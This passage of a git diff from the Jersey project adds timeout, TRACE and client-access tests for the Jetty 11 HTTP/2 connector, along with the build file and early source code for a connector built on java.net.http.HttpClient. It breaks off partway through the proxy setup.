ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/big").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } + + @Test + public void testCustomBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + Response r = t.path("test/big").request().get(); + String p = r.readEntity(String.class); + assertEquals(p.length(), maxBufferSize); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testCustomTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/verybig").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java new file mode 100644 index 0000000..59f242e --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
@@ -0,0 +1,239 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.DefaultValue; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.QueryParam; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.StreamingOutput; +import java.net.URI; +import java.nio.charset.StandardCharsets; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class TimeoutTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName()); + + @Path("/test") + public static class TimeoutResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("timeout") + public String getTimeout() { + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return "GET"; + } + + /** + * Long-running streaming request + * + * @param count number of packets send + * @param pauseMillis pause between each packets + */ + @GET + @Path("stream") + public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count, + @QueryParam("pauseMillis") int pauseMillis) { + StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis); + + return Response.ok(streamingOutput) + .build(); + } + } + + private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) { + + return output -> { + try { + TimeUnit.MILLISECONDS.sleep(startMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + output.write("begin\n".getBytes(StandardCharsets.UTF_8)); + output.flush(); + for (int i = 0; i < count; i++) { + try { + TimeUnit.MILLISECONDS.sleep(pauseMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8)); + output.flush(); + } + output.write("end".getBytes(StandardCharsets.UTF_8)); + }; + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testFast() { + Response r = target("test").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testSlow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testTimeoutInRequest() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + final Response response = target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + assertTrue(response.readEntity(String.class).contains("end")); + } + + @Test + public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(JettyClientProperties.TOTAL_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + fail("This operation should trigger total timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception { + + int start = 150; + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("start", start) + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + fail("This operation should trigger idle timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java new file mode 100644 index 0000000..4bf0bda --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
@@ -0,0 +1,228 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.process.Inflector; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.model.Resource; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Request; +import jakarta.ws.rs.core.Response; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class TraceSupportTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName()); + + /** + * Programmatic tracing root resource path. + */ + public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic"; + + /** + * Annotated class-based tracing root resource path. + */ + public static final String ROOT_PATH_ANNOTATED = "tracing/annotated"; + + @HttpMethod(TRACE.NAME) + @Target(ElementType.METHOD) + @Retention(RetentionPolicy.RUNTIME) + public @interface TRACE { + public static final String NAME = "TRACE"; + } + + @Path(ROOT_PATH_ANNOTATED) + public static class TracingResource { + + @TRACE + @Produces("text/plain") + public String trace(Request request) { + return stringify((ContainerRequest) request); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TracingResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC); + resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() { + + @Override + public Response apply(ContainerRequestContext request) { + if (request == null) { + return Response.noContent().build(); + } else { + return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build(); + } + } + }); + + return config.registerResources(resourceBuilder.build()); + + } + + private String[] expectedFragmentsProgrammatic = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic" + }; + private String[] expectedFragmentsAnnotated = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/annotated" + }; + + private WebTarget prepareTarget(String path) { + final WebTarget target = target(); + target.register(LoggingFeature.class); + return target.path(path); + } + + @Test + public void testProgrammaticApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsProgrammatic) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testAnnotatedApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsAnnotated) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testTraceWithEntity() throws Exception { + _testTraceWithEntity(false, false); + } + + @Test + public void testAsyncTraceWithEntity() throws Exception { + _testTraceWithEntity(true, false); + } + + @Test + public void testTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(false, true); + } + + @Test + public void testAsyncTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(true, true); + } + + private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception { + try { + WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target(); + target = target.path(ROOT_PATH_ANNOTATED); + + final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE); + + Response response; + if (!isAsync) { + response = target.request().method(TRACE.NAME, entity); + } else { + response = target.request().async().method(TRACE.NAME, entity).get(); + } + + fail("A TRACE request MUST NOT include an entity. (response=" + response + ")"); + } catch (Exception e) { + // OK + } + } + + private Client getJettyClient() { + return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider())); + } + + + public static String stringify(ContainerRequest request) { + StringBuilder buffer = new StringBuilder(); + + printRequestLine(buffer, request); + printPrefixedHeaders(buffer, request.getHeaders()); + + if (request.hasEntity()) { + buffer.append(request.readEntity(String.class)).append("\n"); + } + + return buffer.toString(); + } + + private static void printRequestLine(StringBuilder buffer, ContainerRequest request) { + buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n"); + } + + private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) { + for (Map.Entry<String, List<String>> e : headers.entrySet()) { + List<String> val = e.getValue(); + String header = e.getKey(); + + if (val.size() == 1) { + buffer.append(header).append(": ").append(val.get(0)).append("\n"); + } else { + StringBuilder sb = new StringBuilder(); + boolean add = false; + for (String s : val) { + if (add) { + sb.append(','); + } + add = true; + sb.append(s); + } + buffer.append(header).append(": ").append(sb.toString()).append("\n"); + } + } + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java new file mode 100644 index 0000000..29efcba --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,66 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.client.ClientConfig; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; + +public class UnderlyingHttpClientAccessTest { + + /** + * Verifier of JERSEY-2424 fix. + */ + @Test + public void testHttpClientInstanceAccess() { + final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider())); + final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client); + // important: the web target instance in this test must be only created AFTER the client has been pre-initialized + // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the + // connector provider's static getHttpClient method above. + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target); + + assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null."); + assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null."); + assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one " + + "set on JerseyWebTarget (provided the target instance has not been further configured)."); + } + + @Test + public void testGetProvidedClientInstance() { + final HttpClient httpClient = new HttpClient(); + final ClientConfig clientConfig = new ClientConfig() + .connectorProvider(new JettyHttp2ConnectorProvider()) + .register(new JettyHttp2ClientSupplier(httpClient)); + final Client client = ClientBuilder.newClient(clientConfig); + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target); + + assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider", + httpClient, is(hcOnTarget)); + } +} \ No newline at end of file
diff --git a/connectors/jnh-connector/pom.xml b/connectors/jnh-connector/pom.xml new file mode 100644 index 0000000..e70278f --- /dev/null +++ b/connectors/jnh-connector/pom.xml
@@ -0,0 +1,106 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<project xmlns="http://maven.apache.org/POM/4.0.0" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + <parent> + <artifactId>project</artifactId> + <groupId>org.glassfish.jersey.connectors</groupId> + <version>3.1.99-SNAPSHOT</version> + </parent> + <modelVersion>4.0.0</modelVersion> + + <artifactId>jersey-jnh-connector</artifactId> + <packaging>jar</packaging> + <name>jersey-connectors-jnh</name> + + <description>Jersey Client Transport via java.net.http.HttpClient introduced in Java 11</description> + + <properties> + <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> + </properties> + + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <artifactId>jersey-test-framework-provider-bundle</artifactId> + <version>${project.version}</version> + <type>pom</type> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.assertj</groupId> + <artifactId>assertj-core</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.awaitility</groupId> + <artifactId>awaitility</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-jaxb</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-json-jackson</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>jakarta.xml.bind</groupId> + <artifactId>jakarta.xml.bind-api</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> + <scope>test</scope> + </dependency> + </dependencies> + + <build> + <plugins> + <plugin> + <groupId>com.sun.istack</groupId> + <artifactId>istack-commons-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> + </plugin> + <plugin> + <groupId>org.apache.felix</groupId> + <artifactId>maven-bundle-plugin</artifactId> + <inherited>true</inherited> + </plugin> + </plugins> + </build> + +</project> \ No newline at end of file
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpClientProperties.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpClientProperties.java new file mode 100644 index 0000000..a9c0248 --- /dev/null +++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpClientProperties.java
@@ -0,0 +1,103 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import org.glassfish.jersey.internal.util.PropertiesClass; + +import java.net.http.HttpClient; + +/** + * Provides configuration properties for a {@link JavaNetHttpConnector}. + * + * @author Steffen Nießing + */ +@PropertiesClass +public class JavaNetHttpClientProperties { + /** + * <p> + * Configuration of the {@link java.net.CookieHandler} that should be used by the {@link HttpClient}. + * If this option is not set, {@link HttpClient#cookieHandler()} will return an empty {@link java.util.Optional} + * and therefore no cookie handler will be used. + * </p> + * <p> + * A provided value to this option has to be of type {@link java.net.CookieHandler}. + * </p> + * <p> + * The name of the configuration property is <tt>{@value}</tt>. + * </p> + */ + public static final String COOKIE_HANDLER = "jersey.config.jnh.client.cookieHandler"; + + /** + * <p> + * Configuration of SSL parameters used by the {@link HttpClient}. + * If this option is not set, then the {@link HttpClient} will use <it>implementation specific</it> default values. + * </p> + * <p> + * A provided value to this option has to be of type {@link javax.net.ssl.SSLParameters}. + * </p> + * <p> + * The name of the configuration property is <tt>{@value}</tt>. + * </p> + */ + public static final String SSL_PARAMETERS = "jersey.config.jnh.client.sslParameters"; + + /** + * <p> + * An instance of the {@link java.net.Authenticator} class that should be used to retrieve + * credentials from a user. + * </p> + * <p> + * The name of the configuration property is <tt>{@value}</tt>. + * </p> + */ + public static final String PREEMPTIVE_BASIC_AUTHENTICATION = + "jersey.config.jnh.client.preemptiveBasicAuthentication"; + + /** + * <p> + * A value of {@code false} indicates the client should handle cookies + * automatically using HttpClient's default cookie policy. A value + * of {@code false} will cause the client to ignore all cookies. + * </p> + * <p> + * The value MUST be an instance of {@link java.lang.Boolean}. + * If the property is absent the default value is {@code false} + * </p> + * <p> + * The name of the configuration property is <tt>{@value}</tt>. + * </p> + */ + public static final String DISABLE_COOKIES = + "jersey.config.jnh.client.disableCookies"; + + /** + * HTTP version - if null or instance of HttpClient.Version.HTTP_1_1 the version will be set to HTTP_1_1 + * if version is HttpClient.Version.HTTP_2 the client will attempt to perform each request using HTTP_2 protocol + * but if not supported by server, the protocol will be still HTTP_1_1 + * + * @since 3.1.4 + */ + public static final String HTTP_VERSION = + "jersey.config.jnh.client.httpVersion"; + + + /** + * Prevent this class from instantiation. + */ + private JavaNetHttpClientProperties() {} +}
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java new file mode 100644 index 0000000..1b19617 --- /dev/null +++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java
@@ -0,0 +1,439 @@ +/* + * Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.MultivaluedMap; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientRequest; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.client.innate.ClientProxy; +import org.glassfish.jersey.client.innate.Expect100ContinueUsage; +import org.glassfish.jersey.client.innate.http.SSLParamConfigurator; +import org.glassfish.jersey.client.spi.AsyncConnectorCallback; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.internal.Version; +import org.glassfish.jersey.message.internal.OutboundMessageContext; +import org.glassfish.jersey.message.internal.Statuses; + +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLParameters; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Authenticator; +import java.net.CookieHandler; +import java.net.CookieManager; +import java.net.CookiePolicy; +import java.net.InetSocketAddress; +import java.net.PasswordAuthentication; +import java.net.ProxySelector; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.Future; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; +import java.util.logging.Logger; + +/** + * Provides a Jersey client {@link Connector}, which internally uses Java's {@link HttpClient}. + * The following properties are provided to Java's {@link HttpClient.Builder} during creation of the {@link HttpClient}: + * <ul> + * <li>{@link ClientProperties#CONNECT_TIMEOUT}</li> + * <li>{@link ClientProperties#FOLLOW_REDIRECTS}</li> + * <li>{@link JavaNetHttpClientProperties#COOKIE_HANDLER}</li> + * <li>{@link JavaNetHttpClientProperties#SSL_PARAMETERS}</li> + * </ul> + * + * @author Steffen Nießing + */ +public class JavaNetHttpConnector implements Connector { + private static final Logger LOGGER = Logger.getLogger(JavaNetHttpConnector.class.getName()); + + private final HttpClient httpClient; + + /** + * Constructs a new {@link Connector} for a Jersey client instance using Java's {@link HttpClient}. + * + * @param client a Jersey client instance to get additional configuration properties from (e.g. {@link SSLContext}) + * @param configuration the configuration properties for this connector + */ + public JavaNetHttpConnector(final Client client, final Configuration configuration) { + final HttpClient.Builder httpClientBuilder = HttpClient.newBuilder(); + final HttpClient.Version version = + getPropertyOrNull(configuration, JavaNetHttpClientProperties.HTTP_VERSION, HttpClient.Version.class); + httpClientBuilder.version(version == null ? HttpClient.Version.HTTP_1_1 : version); + SSLContext sslContext = client.getSslContext(); + if (sslContext != null) { + httpClientBuilder.sslContext(sslContext); + } + final CookieHandler cookieHandler = + getPropertyOrNull(configuration, JavaNetHttpClientProperties.COOKIE_HANDLER, CookieHandler.class); + if (cookieHandler != null) { + httpClientBuilder.cookieHandler(cookieHandler); + } + final Boolean disableCookies = + getPropertyOrNull(configuration, JavaNetHttpClientProperties.DISABLE_COOKIES, Boolean.class); + if (Boolean.TRUE.equals(disableCookies)) { + httpClientBuilder.cookieHandler(new CookieManager(null, CookiePolicy.ACCEPT_NONE)); + } + Boolean redirect = getPropertyOrNull(configuration, ClientProperties.FOLLOW_REDIRECTS, Boolean.class); + if (redirect != null) { + httpClientBuilder.followRedirects(redirect ? HttpClient.Redirect.ALWAYS : HttpClient.Redirect.NEVER); + } else { + httpClientBuilder.followRedirects(HttpClient.Redirect.NORMAL); + } + + SSLParameters sslParameters = + getPropertyOrNull(configuration, JavaNetHttpClientProperties.SSL_PARAMETERS, SSLParameters.class); + sslParameters = new SniSslParameters(sslParameters).getSslParameters(client); + if (sslParameters != null) { + httpClientBuilder.sslParameters(sslParameters); + } + + final Authenticator preemptiveAuthenticator = + getPropertyOrNull(configuration, + JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, Authenticator.class); + if (preemptiveAuthenticator != null) { + httpClientBuilder.authenticator(preemptiveAuthenticator); + } + configureProxy(httpClientBuilder, configuration); + this.httpClient = httpClientBuilder.build(); + } + + private static void configureProxy(HttpClient.Builder builder, final Configuration config) { + + final Optional<ClientProxy> proxy = ClientProxy.proxyFromConfiguration(config); + proxy.ifPresent(clientProxy -> { + final URI u = clientProxy.uri(); + final InetSocketAddress proxyAddress = new InetSocketAddress(u.getHost(), + u.getPort()); + if (clientProxy.userName() != null) { + final Authenticator authenticator = new Authenticator() { + @Override + public PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication(clientProxy.userName(), clientProxy.password() == null + ? null : clientProxy.password().toCharArray()); + } + @Override + protected RequestorType getRequestorType() { + return RequestorType.PROXY; + } + }; + builder.authenticator(authenticator); + } + 